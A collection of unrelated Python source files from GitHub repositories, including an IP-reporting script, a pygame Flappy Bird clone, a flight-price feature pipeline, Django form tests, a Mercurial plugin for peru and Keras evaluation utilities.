{"seq_id":"6696898369","text":"#!/usr/bin/python3\n\nimport fcntl\nimport socket\nimport struct\nimport requests\nimport sys\nimport os\n\nTOKEN = 'S29uc3RhbnR5bm9wb2xpdGFuY3p5a2lld2ljem93bmE='\n\ndef __usage__(msg=None):\n    if msg:\n        print(msg)\n        print()\n    print(\"Usage:\")\n    print()\n    print(sys.argv[0] + \" <interface> <url>\")\n    print()\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 3:\n        __usage__(\"Missing param(s)\")\n        sys.exit(1)\n    token = os.getenv(\"TOKEN\")\n    if not token:\n        __usage__(\"Missing env variable TOKEN\")\n        sys.exit(1)\n    interface = sys.argv[1]\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    pack = struct.pack('256s', interface.encode('utf_8'))\n    addr = fcntl.ioctl(sock.fileno(), 0x8915, pack)[20:24]\n    ip_addr = socket.inet_ntoa(addr)\n    hostname = socket.gethostname()\n    data = {\"hostname\": hostname, \"ip\": ip_addr}\n    headers = {\"Username\": \"ReportIP\", \"Authorization\": f\"Bearer {token}\"}\n    response = requests.put(sys.argv[2], json=data, headers=headers)\n    print(f\"Reported: {hostname} = {ip_addr}\")\n    print(f\"Received: {response.text}\")\n","repo_name":"lvajxi03/apihub","sub_path":"scripts/report_ip.py","file_name":"report_ip.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36758926086","text":"import pygame\r\nimport sys\r\nimport random\r\n\r\n# game Variables\r\ngravity = .13\r\nspeed = 0\r\ncurr_score = -0.5\r\ngame_active = True\r\nfloor_position = 0\r\npipe_heights = [300, 350, 400, 450, 500]\r\n##########################\r\n\r\npygame.init()\r\n\r\ngame_font = pygame.font.Font(\"04B_19.TTF\", 70)\r\n\r\nscreen = pygame.display.set_mode((450, 800))\r\nframes = pygame.time.Clock()\r\n\r\nbackground = pygame.image.load(\"pictures/Background.png\").convert()\r\nbackground = pygame.transform.smoothscale(background, (450, 800))\r\n\r\nground = pygame.image.load(\"pictures/ground.png\").convert()\r\nground = pygame.transform.scale2x(ground)\r\n\r\nbird = pygame.image.load(\"pictures/red_bird.png\").convert_alpha()\r\nbird = pygame.transform.scale2x(bird)\r\nbird_surface = bird.get_rect(center=(100, 300))\r\n\r\npipes_surface = pygame.image.load(\"pictures/pipe.png\").convert()\r\npipes_surface = pygame.transform.scale2x(pipes_surface)\r\n\r\nmain_menu = pygame.image.load(\"pictures/home.png\").convert_alpha()\r\nmain_menu = pygame.transform.scale2x(main_menu)\r\n\r\nNEWPIPE = pygame.USEREVENT\r\npygame.time.set_timer(NEWPIPE, 700)\r\npipeLst = []\r\n\r\n\r\ndef draw_floor(position_of_floor):\r\n    \"\"\" creates the floor of the game \"\"\"\r\n    if position_of_floor == -190:\r\n        screen.blit(ground, (0, 650))\r\n        return 0\r\n    screen.blit(ground, (position_of_floor, 650))\r\n    position_of_floor -= 1\r\n    return position_of_floor\r\n\r\n\r\ndef new_pipe():\r\n    \"\"\" creates a new pipe and adds it to the pipe list \"\"\"\r\n    pipeHeight = random.choice(pipe_heights)\r\n    top_pipe = pipes_surface.get_rect(midtop=(500, pipeHeight))\r\n    bottom_pipe = pipes_surface.get_rect(midbottom=(500, pipeHeight - 200))\r\n    return bottom_pipe, top_pipe\r\n\r\n\r\ndef draw_pipes(pipes):\r\n    \"\"\"displays the pipes onto the screen\"\"\"\r\n    for pipe in pipes:\r\n        screen.blit(pygame.transform.flip(pipes_surface, False, True), pipe[0])\r\n        screen.blit(pipes_surface, pipe[1])\r\n        pipe[0].centerx -= 5\r\n        pipe[1].centerx -= 5\r\n    if len(pipes) > 10:\r\n        pipes.pop(0)\r\n    return pipes\r\n\r\n\r\ndef collision_checker(pipe):\r\n    \"\"\"checks for the collision between the bird and the pipes\"\"\"\r\n    if bird_surface.colliderect(pipe[0]) or bird_surface.colliderect(pipe[1]):\r\n        return False\r\n    elif bird_surface.top <= 0 or bird_surface.bottom >= 650:\r\n        return False\r\n    return True\r\n\r\n\r\ndef rotate_bird(bird):\r\n    \"\"\" rotates the bird when it 'jumps' \"\"\"\r\n    return pygame.transform.rotozoom(bird, speed * 5, 1)\r\n\r\n\r\ndef display_score(score):\r\n    \"\"\" displays the score onto the screen \"\"\"\r\n    if score < 0:\r\n        score_text = game_font.render(str(0), True, (255, 255, 255))\r\n    else:\r\n        score_text = game_font.render(str(score), True, (255, 255, 255))\r\n    score_rect = score_text.get_rect(center=(450 / 2, 100))\r\n    screen.blit(score_text, score_rect)\r\n\r\n\r\nwhile True:\r\n    for event in pygame.event.get():\r\n\r\n        if event.type == pygame.QUIT:  # exit button for the application window\r\n            pygame.quit()\r\n            sys.exit()\r\n        elif event.type == pygame.KEYDOWN:\r\n            if event.key == pygame.K_SPACE:  # hits space on keyboard\r\n                if game_active:\r\n                    speed = 0\r\n                    speed -= 3.5\r\n                else:\r\n                    curr_score = -0.5\r\n                    pipeLst = []\r\n                    bird_surface.center = (100, 300)\r\n                    speed = 0\r\n                    game_active = True\r\n\r\n        if event.type == NEWPIPE:\r\n            pipeLst.append(new_pipe())\r\n\r\n    # background\r\n    screen.blit(background, (0, 0))\r\n\r\n    if game_active:\r\n        # bird movement\r\n        speed += gravity\r\n        up_flap = rotate_bird(bird)\r\n        bird_surface.centery += speed\r\n        screen.blit(up_flap, bird_surface)\r\n        if pipeLst:\r\n            game_active = collision_checker(pipeLst[-1])\r\n\r\n        # pipes\r\n        pipeLst = draw_pipes(pipeLst)\r\n        curr_score += 1 / 67\r\n        display_score(int(curr_score))\r\n    else:\r\n        screen.blit(main_menu, (40, 100))\r\n\r\n    # ground\r\n    floor_position = draw_floor(floor_position)\r\n\r\n    pygame.display.update()\r\n    frames.tick(100)\r\n","repo_name":"Mitchellzhou1/Flappy-Birds","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42073650462","text":"# 감시 피하기\n'''\ndeepcopy 활용,\n문제의 핵심 : 일반적 dfs/bfs 가 아닌 한 방향에 대해 쭉 가는 형태의 전개가 필요\n'''\nfrom itertools import combinations\nimport sys,copy\n\ndef dfs(x, y):\n    for i in range(4):\n        nx, ny = x, y\n        while True:\n            nx += dx[i]\n            ny += dy[i]\n            if 0<=nx<n and 0<=ny<n:\n                if temp[nx][ny] == \"S\":\n                    return False\n                elif temp[nx][ny] == \"O\":\n                    break\n            else:\n                break\n    return True\n\ndef solution(temp):\n    for x,y in teacher:\n        if not dfs(x,y): # 학생이 한명이라도 발각된 경\n            return False\n    return True\n\nn = int(input())\nmatrix = []\nteacher = []\nobstacle = []\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\nfor i in range(n):\n    lst = list(input().split())\n    for j in range(n):\n        if lst[j] == 'T':\n            teacher.append((i, j))\n        elif lst[j] == 'X':\n            obstacle.append((i, j))\n    matrix.append(lst)\n\nfor i in combinations(obstacle, 3):\n    temp = copy.deepcopy(matrix)\n    for x,y in i:\n        temp[x][y] = 'O'\n    if solution(temp):\n        print(\"YES\")\n        sys.exit(0)\nprint(\"NO\")\n\n","repo_name":"apple2062/algorithm","sub_path":"study/week10/감시피하기(18428).py","file_name":"감시피하기(18428).py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72322786981","text":"#comilla simple \n\ncads = 'Texto \\n entre comillas simples'\n\n#comillas dobles\n\ncadd = \"Texto entre \\n\\t comillas dobles\" #caracteres de escape\n\ncadc = \"\"\" Texto linea 1\n\tlinea 2\n\tlinea 3\n\tlinea 4\n\t.\n\t.\n\t.\n\tLinea n\n\t\"\"\"\n\n#repeticion y concatencaion \n\ncad = \"cadena\" * 3\n\ncad1 = \"cadena 1\" \ncad2 = \"cadena 2\"\ncad = \"cadena \"\n\ncadCon = cad1 + cad2\n\n#Valores booleanos\nbT = True;\nbF = False;\n\n#Valores logicos\nbAnd = True and False;\nbOr = True or False;\nbNot = not True;\n\n\nprint(cads)\nprint(cadd)\nprint(cadc)\nprint(cad)\nprint(cadCon)\n\nprint(bAnd)\nprint(bOr)\nprint(bNot)\n","repo_name":"Isidro-hernndez/ProyectosPhyton","sub_path":"cadenas.py","file_name":"cadenas.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24078190686","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n    Prepare data for model training:\n        1. Missing values treatment\n        2. Adding new features\n        3. Split data in train and test\n        4. Agg. flights data\n        5. Label data (wait column)\n        6. Create price_bins datafrom for estimate days to wait\n\n        Input: data/interim\n        Output: data/processed\n\n        @author: Adrián Cervero - May 2021\n        @github: https://github.com/adriancervero/flight-prices-prediction\n\"\"\"\n\n#-------------------------------------------------------------------\n# Imports \n# ------------------------------------------------------------------\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt \nimport seaborn as sns\nfrom datetime import datetime, timedelta\nimport os, sys\nimport argparse\nfrom tqdm import tqdm\ntqdm.pandas()\n\nimport config as cfg\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\ndef load_data(path):\n    \"\"\" Load data and return a Pandas dataframe. \"\"\"\n    print('...loading data from .csv...')\n    \n    os.chdir(sys.path[0]) # relative path to this file\n    df = pd.read_csv(path)\n    return df\n\ndef cleaning_df(df):\n    \"\"\" Drop  irrelevant columns and outliers \"\"\"\n\n    # outliers\n    Q1 = df['price'].quantile(.25)\n    Q3 = df['price'].quantile(.75)\n    IQR = Q3-Q1\n    df = df[df['price'] < IQR*1.5 ]\n\n    # columns to drop\n    drop_cols = ['seats', 'dTimeUTC', 'aTimeUTC', 'flight_no',\n            'cityFrom', 'cityCodeFrom', 'cityTo', 'cityCodeTo', 'countryFrom',\n             'countryTo']\n    return df.drop(drop_cols, axis=1, )\n\n\ndef add_days_until_dep_feature(df):\n    \"\"\" Remaining days until flight departure \"\"\"\n    collected = pd.to_datetime(df['collectionDate'])\n    departure =  pd.to_datetime(df['dDate'])\n    daysUntilDep = departure - collected\n    df['days_until_dep'] = daysUntilDep.dt.days\n    return df\n\ndef build_features(df):\n    \"\"\" Add new features \"\"\"\n\n    # orig and dest in same column\n    df['orig-dest'] = df['flyFrom']+'-'+df['flyTo']\n    # departure time in three categories: 'morning', 'evening', 'night'\n    df['session'] = pd.cut(pd.to_datetime(df['dTime']), bins=3, labels=['night', 'morning', 'evening'])\n    # Departure day of week\n    days_of_week = {5:'Monday', 6:'Tuesday', 0:'Wednesday', 1:'Thursday', 2:'Friday', 3:'Saturday', 4:'Sunday'}\n    df['day_of_week'] = pd.to_datetime(df['dTime']).dt.weekday.map(days_of_week)\n    # airline\n    df['airline'] = df['airlines'].str.split(',').apply(lambda x: x[0])\n    # days until departure\n    df = add_days_until_dep_feature(df)\n    # price log-transform\n    df['log_price'] = np.log(df['price'])\n    # number of stops between origin and destinations\n    df['hops'] = df['route'].str.split('->').apply(len)-2\n\n    return df\n\n\ndef split_data(df, test_days=30):\n    \"\"\" Split data in train/test set \"\"\"\n\n    collection_dates = pd.to_datetime(df['collectionDate'])\n    departure_dates = pd.to_datetime(df['dDate'])\n    \n    split_date = collection_dates.max() - timedelta(days=test_days)\n    test_idx = (collection_dates >= split_date) & (departure_dates <= collection_dates.max())\n    test = df[test_idx]\n    train = df[~test_idx]\n\n    return train, test\n\ndef q25(x):\n    \"\"\" Return first quantile of x \"\"\"\n    return x.quantile(0.25)\n\ndef get_labels(row):\n    \"\"\" \n    Assign wait or buy label. If price decrease in next days\n    label 1 otherwise label 0. The decrease has to exceed a threshold \n    (MIN_DROP_PER variable)\n    \"\"\"\n    current_d = row['days_until_dep']\n    current_price = row[cfg.COMBINE_PRICE_FEATURE]\n    list_prices = np.array(row['list_prices'])\n    next_days = list_prices[:current_d-1]\n    if len(next_days) == 0:\n        return 0\n    else:\n        min_price = np.min(next_days)\n\n        if min_price < current_price and 1-(min_price/current_price) > cfg.MIN_DROP_PER_TRAIN:\n            return 1\n        else:\n            return 0\n\ndef get_last_days_q25(row):\n    \"\"\" Compute first quantile of last x days for each group \"\"\"\n    list_prices = row['list_prices']\n    start_idx = row['days_until_dep']\n    end_idx = start_idx + cfg.LAST_DAYS\n\n    last_days_prices = list_prices[start_idx:end_idx]\n    if last_days_prices == []:\n        last_days_prices = list_prices[-1]\n    return np.quantile(last_days_prices, 0.25)\n\ndef create_price_bins(train):\n    \"\"\" Return dataframe with estimate prices for each days until dep value \"\"\"\n    # Creation of bins\n    lower = train['days_until_dep'].min()\n    higher = train['days_until_dep'].max()\n\n    n_bins = int(higher/5)\n    edges = range(lower, higher+5, 5)\n\n    lbs = ['(%d, %d]'%(edges[i], edges[i+1]) for i in range(len(edges)-1)]\n    train.loc[:, 'days_bins'] = pd.cut(train['days_until_dep'],bins=n_bins, labels=lbs)\n\n    price_bins = train.groupby(['orig-dest', 'airline', 'days_bins'])['price'] \\\n                    .quantile(.25).rename('price_est').reset_index().dropna()\n    \n    # prices\n    # plotting bins prices\n    plt.figure(figsize=(8,4))\n    fig, axes = plt.subplots(1, 1, figsize=(8,4))\n    sns.boxplot(x='days_bins', y='price_est', data=price_bins, palette=\"Blues_r\");\n    plt.xticks(rotation=45);\n    plt.xlabel('Days until departure')\n    plt.ylabel('Price Estimated')\n\n    fig.savefig(cfg.FIGURES_PATH+'est_prices.png', pad_inches=0.5, bbox_inches='tight')\n\n    bins_days = train[['days_until_dep', 'days_bins']].drop_duplicates()\n    bins_days['days_bins'] = bins_days['days_bins'].cat.codes\n\n    # save dataframes\n    price_bins.to_csv('../data/processed/price_bins.csv', index=False)\n    bins_days.to_csv('../data/processed/bins_days.csv', index=False)\n\ndef agg_flights(train):\n    \"\"\" \n    Grouping fligths by previously defined agg. cols. \n    (orig-dest, airline, session, days_until_dep), adding\n    new features and label data with wait/buy\n\n    \"\"\"\n    agg_cols = cfg.AGG_COLS\n\n    grouped = train \\\n                .groupby(agg_cols)[['price', 'fly_duration']] \\\n                .agg({'price':['min', 'median', q25, 'count'],\n                    'fly_duration':'mean'}).dropna().reset_index()\n\n    # remove multilevel columns\n    grouped.columns = agg_cols + ['min', 'median', 'q25', 'count', 'fly_duration']\n\n    # count will act like some kind of competition factor\n    grouped.rename(columns={'count':'competition'}, inplace=True)\n\n    # Feature 'total_q25': First quantile of each group during all time period\n    total_q25 = train.groupby(agg_cols)['price'].quantile(0.25) ######################### Revisar\n    total_q25 = total_q25.rename('total_q25').reset_index()\n    grouped['total_q25'] = pd.merge(grouped, total_q25, on=agg_cols, how='left')['total_q25']\n\n    # lastdays_q25: First quantile of last n days \n    list_prices = grouped.groupby(['orig-dest','airline', 'session'])['q25'].agg(list)\n    list_prices = list_prices.reset_index()\n    list_prices.rename(columns={'q25':'list_prices'}, inplace=True)\n    grouped['list_prices'] = pd.merge(grouped, list_prices, on=['orig-dest','airline','session'], how='left')['list_prices']\n\n    grouped['lastdays_q25'] = grouped.progress_apply(get_last_days_q25, axis=1)\n\n    # CustomPrice = ticket price weightened considering last days trend\n    # We use this feature for estimate labels\n    grouped['customPrice'] =  cfg.W * grouped['total_q25'] + (1-cfg.W) * grouped['lastdays_q25']\n    \n    # target\n    grouped['wait'] = grouped.progress_apply(get_labels, axis=1)\n    print(grouped['wait'].value_counts())\n\n    # remove no needed columns\n    grouped.drop(['total_q25', 'list_prices', 'lastdays_q25'], axis=1, inplace=True, errors='ignore')\n\n    grouped.rename(columns={'q25':'price'}, inplace=True)\n\n    # prob feature: percentage of wait flights in a group\n    probs = grouped.groupby(['orig-dest','session' ,'days_until_dep'])['wait'].mean().reset_index()\n    probs.rename(columns={'wait':'prob'}, inplace=True)\n    grouped = pd.merge(grouped, probs, on=['orig-dest', 'session' ,'days_until_dep'], how='left')\n\n    # plot prob and save it\n    wait_grouped = grouped.groupby(['orig-dest','days_until_dep'])['wait'].mean().reset_index()\n    fig, axes = plt.subplots(1, 1, figsize=(8, 5))\n    sns.scatterplot(x='days_until_dep', y='wait', hue='wait', data=wait_grouped)\n    plt.xlabel('Days until departure');\n    plt.ylabel('Wait %');\n\n    fig.savefig(cfg.FIGURES_PATH + \"prob_feature.png\", pad_inches=0.5, bbox_inches='tight')\n\n    return grouped\n\ndef filter_flights(df):\n    routes = ['MAD-EZE', 'MAD-MEX', 'MAD-JFK']\n    df = df[(df['orig-dest'].isin(routes))]\n    return df\n\n\ndef preprocessing(filename, min_drop_per):\n    \"\"\"\n        Prepare data for model training:\n            1. Missing values treatment\n            2. Adding new features\n            3. Split data in train, valid and test\n            4. Aggregate train flights\n            5. Label data (wait column)\n            6. Create price_bins datafrom for estimate days to wait\n\n\n        Args:\n            filename (str): input data path\n    \"\"\"\n    print(\"\\n----- 03 - Feature Engineering -----\")\n    \n    cfg.MIN_DROP_PER_TRAIN = min_drop_per\n\n    # load data\n    df = load_data(cfg.INTERIM_DATA_PATH)\n\n    # missing values and remove no needed cols\n    df = cleaning_df(df);\n    \n    \n    print('...Adding new features...')\n\n    # adding new features\n    df = build_features(df)\n\n    #df = filter_flights(df)\n\n    # split data in train, valid and test\n    train, test = split_data(df, test_days=cfg.SPLIT_TEST_DAYS)\n\n    valid_idx = test.sample(frac=.5, random_state=cfg.RANDOM_STATE).index\n\n    valid = test.loc[valid_idx].copy()\n    test = test.drop(valid_idx)\n\n    # aggregate flights \n    print('...Grouping flight data...')\n    \n    grouped = agg_flights(train)\n\n    # estimated prices dataframe\n    create_price_bins(train)\n\n    # Store data in processed folder\n    os.chdir(sys.path[0])\n\n    grouped.to_csv(cfg.TRAIN_PATH, index=False)\n    print('\\nTraining data stored successfully!:', cfg.TRAIN_PATH)\n\n    valid.to_csv(cfg.VALID_PATH, index=False)\n    print('Validation data stored successfully!:', cfg.VALID_PATH)\n    \n    test.to_csv(cfg.TEST_PATH, index=False)\n    print('Testing data stored successfully!:', cfg.TEST_PATH)\n    \n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--min_drop', type=float, default=0.05)\n    args = parser.parse_args()\n\n    preprocessing(cfg.INTERIM_DATA_PATH, args.min_drop)\n    \n    \n","repo_name":"adriancervero/flight-prices-prediction","sub_path":"src/03_build_features.py","file_name":"03_build_features.py","file_ext":"py","file_size_in_byte":10344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9897624459","text":"from django.test import TestCase\nfrom .forms import ContactForm\n\n\nclass TestViews(TestCase):\n    def test_contact_page(self):\n        \"\"\" Test contact page template renders correct page \"\"\"\n        response = self.client.get('/contact/')\n        self.assertEqual(response.status_code, 200)\n        self. assertTemplateUsed(response, 'contact/contact.html')\n\n\nclass TestContactForm(TestCase):\n    def test_required_fields(self):\n        \"\"\" Test to validate name, contact_reason and\n        comments fields are required \"\"\"\n        form = ContactForm({'name': '', 'contact_reason': '', 'comments': ''})\n        self.assertFalse(form.is_valid())\n        self.assertIn('name', form.errors.keys())\n        self.assertIn('contact_reason', form.errors.keys())\n        self.assertIn('comments', form.errors.keys())\n        self.assertEquals(form.errors['name'][0], 'This field is required.')\n        self.assertEquals(\n            form.errors['contact_reason'][0], 'This field is required.')\n        self.assertEquals(\n            form.errors['comments'][0], 'This field is required.')\n\n    def test_email_field_is_not_required(self):\n        \"\"\" Test to check that email field is not required \"\"\"\n        CONTACT_CHOICES = (\n            ('breach_of_tos', 'BREACH OF TOS'),\n            ('general_query', 'GENERAL QUERY'),\n            ('technical_issue', 'TECHNICAL ISSUE'),\n            ('subscription_query', 'SUBSCRIPTION QUERY'),\n        )\n        form = ContactForm(\n            {'contact_reason': 'general_query',\n             'name': 'Test', 'comments': 'Test'})\n        self.assertTrue(form.is_valid())\n","repo_name":"Code-Institute-Submissions/ChatToTheMat","sub_path":"contact/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39905327537","text":"def findRecursively(color):\n    i = colors.index(color)\n    if \"shiny gold\" in inside[i]:\n        return True\n    for n in range(len(inside[i])):\n        if findRecursively(inside[i][n]):\n            return True\n    return False\n\n\nwith open(\"input.txt\") as f:\n    #parsing input\n    lines = f.readlines()\n    for i in range(len(lines)):\n        lines[i] = lines[i].split(\" bags contain \")\n        lines[i][1] = lines[i][1].split(\", \")\n        for j in range(len(lines[i][1])):\n            lines[i][1][j] = lines[i][1][j].replace(\" bags\", \"\")\n            lines[i][1][j] = lines[i][1][j].replace(\" bag\", \"\")\n            lines[i][1][j] = lines[i][1][j].replace(\".\", \"\")\n            lines[i][1][j] = lines[i][1][j].split(\" \", 1)\n        lines[i][1][-1][1] = lines[i][1][-1][1].replace(\"\\n\", \"\")       \n\n    colors = []\n    numbers = []\n    inside = []\n    for i in range(len(lines)):\n        colors.append(lines[i][0])\n        numbers.append([])\n        inside.append([])\n        for j in range(len(lines[i][1])):\n            if lines[i][1][j][0].isnumeric():\n                numbers[i].append(lines[i][1][j][0])\n                inside[i].append(lines[i][1][j][1])\n    #end of parsing\n\n    \"\"\"\n    color = all the main bags\n    inside[i] = the bags inside the bag at index i\n    numbers[i] = the amount of bags inside the bag at index i\n    \"\"\"\n\n    amount = 0\n    for i in range(len(colors)):\n        if colors[i] == \"shiny gold\":\n            continue\n        if \"shiny gold\" in inside[i]:\n            amount += 1\n            continue\n        else:\n            for m in range(len(inside[i])):\n                if findRecursively(inside[i][m]):\n                    amount += 1\n                    break\n            \n    print(amount)","repo_name":"FBroy/AdventOfCode2020","sub_path":"Day 7/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36492107587","text":"\r\nimport os\r\nimport random\r\nimport shutil\r\n\r\n\r\ndir = 'C:/Users/Home/Desktop/FERG_DB_256/ray/ray_surprise'\r\nnewdir = 'C:/Users/Home/Desktop/faceAI/faceAI/Cohn-Kanade Images/Train/surprise'\r\ntestdir = 'C:/Users/Home/Desktop/faceAI/faceAI/Cohn-Kanade Images/Test/surprise'\r\n\r\nfiles = os.listdir(dir)\r\n\r\nsize=  len(files)\r\n\r\n\r\npsize = (size/ 10) *8\r\n\r\nwhile psize >0:\r\n   \r\n    filename = str(dir + \"/\"+ random.choice(os.listdir(dir)))\r\n    shutil.move(filename, newdir)\r\n    psize -=1\r\n\r\nfiles = os.listdir(dir)\r\nfor x in range(len(files)):\r\n    filename = str(dir + \"/\"+ random.choice(os.listdir(dir)))\r\n    shutil.move(filename, testdir)\r\n\r\n\r\n   \r\n","repo_name":"dawidghost99/FacialExpressionAI","sub_path":"8020split.py","file_name":"8020split.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36237477576","text":"#! /usr/bin/env python3\n\nfrom collections import namedtuple\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\nCACHE_PATH = os.environ['PERU_PLUGIN_CACHE']\nURL = os.environ['PERU_MODULE_URL']\nREV = os.environ['PERU_MODULE_REV'] or 'default'\nREUP = os.environ['PERU_MODULE_REUP'] or 'default'\n\nResult = namedtuple(\"Result\", [\"returncode\", \"output\"])\n\n\ndef hg(*args, hg_dir=None, capture_output=False, checked=True):\n    # Avoid forgetting this arg.\n    assert hg_dir is None or os.path.isdir(hg_dir)\n\n    command = ['hg']\n    if hg_dir:\n        command.append('--repository')\n        command.append(hg_dir)\n    command.extend(args)\n\n    stdout = subprocess.PIPE if capture_output else None\n    # Always let stderr print to the caller.\n    process = subprocess.Popen(\n        command,\n        stdin=subprocess.DEVNULL,\n        stdout=stdout,\n        universal_newlines=True)\n    output, _ = process.communicate()\n    if checked and process.returncode != 0:\n        sys.exit(1)\n\n    return Result(process.returncode, output)\n\n\ndef clone_if_needed(url, verbose=False):\n    if not os.path.exists(os.path.join(CACHE_PATH, '.hg')):\n        if verbose:\n            print('hg clone', url)\n        hg('clone', '--noupdate', url, CACHE_PATH)\n        configure(CACHE_PATH)\n\n\ndef configure(repo_path):\n    # Set configs needed for cached repos.\n    hgrc_path = os.path.join(repo_path, '.hg', 'hgrc')\n    with open(hgrc_path, 'a') as f:\n        f.write(\n            textwrap.dedent('''\\\n            [ui]\n            # prevent 'hg archive' from creating '.hg_archival.txt' files.\n            archivemeta = false\n            '''))\n\n\ndef hg_pull(url, repo_path):\n    print('hg pull', url)\n    hg('pull', hg_dir=repo_path)\n\n\ndef already_has_rev(repo, rev):\n    res = hg(\n        'identify',\n        '--debug',\n        '--rev',\n        rev,\n        hg_dir=repo,\n        capture_output=True,\n        checked=False)\n    if res.returncode != 0:\n        return False\n\n    # Only return True for revs that are absolute hashes.\n    # We could consider treating tags the way, but...\n    # 1) Tags actually can change.\n    # 2) It's not clear at a glance whether something is a branch or a tag.\n    # Keep it simple.\n    return res.output.split()[0] == rev\n\n\ndef plugin_sync():\n    dest = os.environ['PERU_SYNC_DEST']\n    clone_if_needed(URL, verbose=True)\n    if not already_has_rev(CACHE_PATH, REV):\n        hg_pull(URL, CACHE_PATH)\n    # TODO: Should this handle subrepos?\n    hg('archive', '--type', 'files', '--rev', REV, dest, hg_dir=CACHE_PATH)\n\n\ndef plugin_reup():\n    reup_output = os.environ['PERU_REUP_OUTPUT']\n\n    clone_if_needed(URL, CACHE_PATH)\n    hg_pull(URL, CACHE_PATH)\n    output = hg(\n        'identify',\n        '--debug',\n        '--rev',\n        REUP,\n        hg_dir=CACHE_PATH,\n        capture_output=True).output\n\n    with open(reup_output, 'w') as output_file:\n        print('rev:', output.split()[0], file=output_file)\n\n\ncommand = os.environ['PERU_PLUGIN_COMMAND']\nif command == 'sync':\n    plugin_sync()\nelif command == 'reup':\n    plugin_reup()\nelse:\n    raise RuntimeError('Unknown command: ' + repr(command))\n","repo_name":"buildinspace/peru","sub_path":"peru/resources/plugins/hg/hg_plugin.py","file_name":"hg_plugin.py","file_ext":"py","file_size_in_byte":3119,"program_lang":"python","lang":"en","doc_type":"code","stars":1088,"dataset":"github-code","pt":"35"}
{"seq_id":"19251303106","text":"from keras.models import load_model\nfrom keras.datasets import cifar10\nfrom keras.utils import np_utils\nfrom keras import backend as K\nK.set_image_dim_ordering('th')\nimport numpy as np\nfrom keras.models import Model\n\ndef evaluate_cifar_keras(path_to_model,new_dense_1,new_dense_2,flag1,flag2,X_test,y_test):\n\n    #load data and preprocess\n    #(X_train, y_train), (X_test, y_test) = cifar10.load_data()\n    # normalize inputs from 0-255 to 0.0-1.0\n    X_test = X_test.astype('float32')\n    X_test = X_test / 255.0\n    # one hot encode outputs\n    y_test = np_utils.to_categorical(y_test)\n\n    # Load model and Test\n    model = load_model(path_to_model)\n\n\n    #Set Layers\n\n    if flag1 == 1:\n        dense_1 = model.get_layer('dense_1')\n        dense_1.set_weights(new_dense_1)\n    if flag2 == 1:\n        dense_2 = model.get_layer('dense_2')\n        dense_2.set_weights(new_dense_2)\n\n\n    scores = model.evaluate(X_test, y_test, verbose=0)\n    return scores\n\ndef evaluate_l2_norm_keras(path_to_model,new_dense_1,new_dense_2,flag1,flag2,X_test,latent_X_original):\n\n    #load data and preprocess\n    #(X_train, y_train), (X_test, y_test) = cifar10.load_data()\n    # normalize inputs from 0-255 to 0.0-1.0\n    X_test = X_test.astype('float32')\n    X_test = X_test / 255.0\n    # one hot encode outputs\n\n\n    # Load model and Test\n    model = load_model(path_to_model)\n\n\n    #Set Layers\n\n    if flag1 == 1:\n        dense_1 = model.get_layer('dense_1')\n        dense_1.set_weights(new_dense_1)\n    if flag2 == 1:\n        dense_2 = model.get_layer('dense_2')\n        dense_2.set_weights(new_dense_2)\n\n    dense_2_layer = Model(inputs=model.input, outputs=model.get_layer('dense_2').output)\n\n    latent_X_new = dense_2_layer.predict(X_test)\n\n    diff = latent_X_original-latent_X_new.T\n\n    norm_change = np.linalg.norm(diff,axis=1)/np.linalg.norm(latent_X_original,axis=1)\n\n    mean_ch = np.mean(norm_change)\n    var_ch = np.var(norm_change)\n    #max_ch = np.max(norm_change)\n    #min_ch = np.min(norm_change)\n\n    return mean_ch,var_ch\n\ndef compute_thresholding_sparsification(W,perCsp):\n    #takes as input a matrix thresholds it based on magnitude to required sparsity\n\n\n    b = np.reshape(np.abs(W), (-1))\n    hist, bin_edges = np.histogram(b, bins=100, density=True)\n    hist = hist / np.sum(hist)\n    cumulative = np.cumsum(hist)\n    pos = np.where(cumulative >= perCsp)\n    threshold = bin_edges[pos[0][0]]\n\n\n    W[np.where(np.abs(W) < threshold)] = 0\n\n    # Calculate Sparsity in sanity check\n    pos2 = np.where(W == 0)\n    sparse = pos2[0].shape[0] / (W.shape[0] * W.shape[1])\n    print(\"Sparsified W to: \",sparse*100,\" sparsity\")\n\n    return W","repo_name":"konstantinos-p/FeTa_Fully_Connected","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
